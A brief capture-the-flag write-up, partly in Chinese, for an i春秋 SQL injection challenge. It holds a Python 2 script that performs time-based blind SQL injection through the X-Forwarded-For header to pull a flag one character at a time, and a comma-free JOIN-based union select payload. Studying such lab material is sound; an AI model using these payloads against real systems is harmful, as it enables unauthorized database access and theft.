#coding:utf-8 import requests maystr="0987654321qwertyuiopasdfghjklzxcvbnm" url="http://127.0.0.1/sql/sql.php" flag="" for i in range(32): for str in maystr: headers={"x-forwarded-for":"127.0.0.1'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(6) else sleep(0) end ) and '1'='1"%(i+1,str)} # proxy={"http":"http://127.0.0.1:8080"} # res=requests.get(url,headers=headers,timeout=3) try: res=requests.get(url,headers=headers,timeout=4) except requests.exceptions.ReadTimeout,e: flag=flag+str print"flag:",flag break except KeyboardInterrupt,e: exit(0) else: pass # rint i+1,str
i春秋百度杯九月第三周SQLi
同样的发现逗号被过滤了,没有逗号 截取字符串可以是上文利用 from 1 来读取整个字符,
这边用另外一种姿势
1
union select * from ( (select user())a JOIN (select version())b );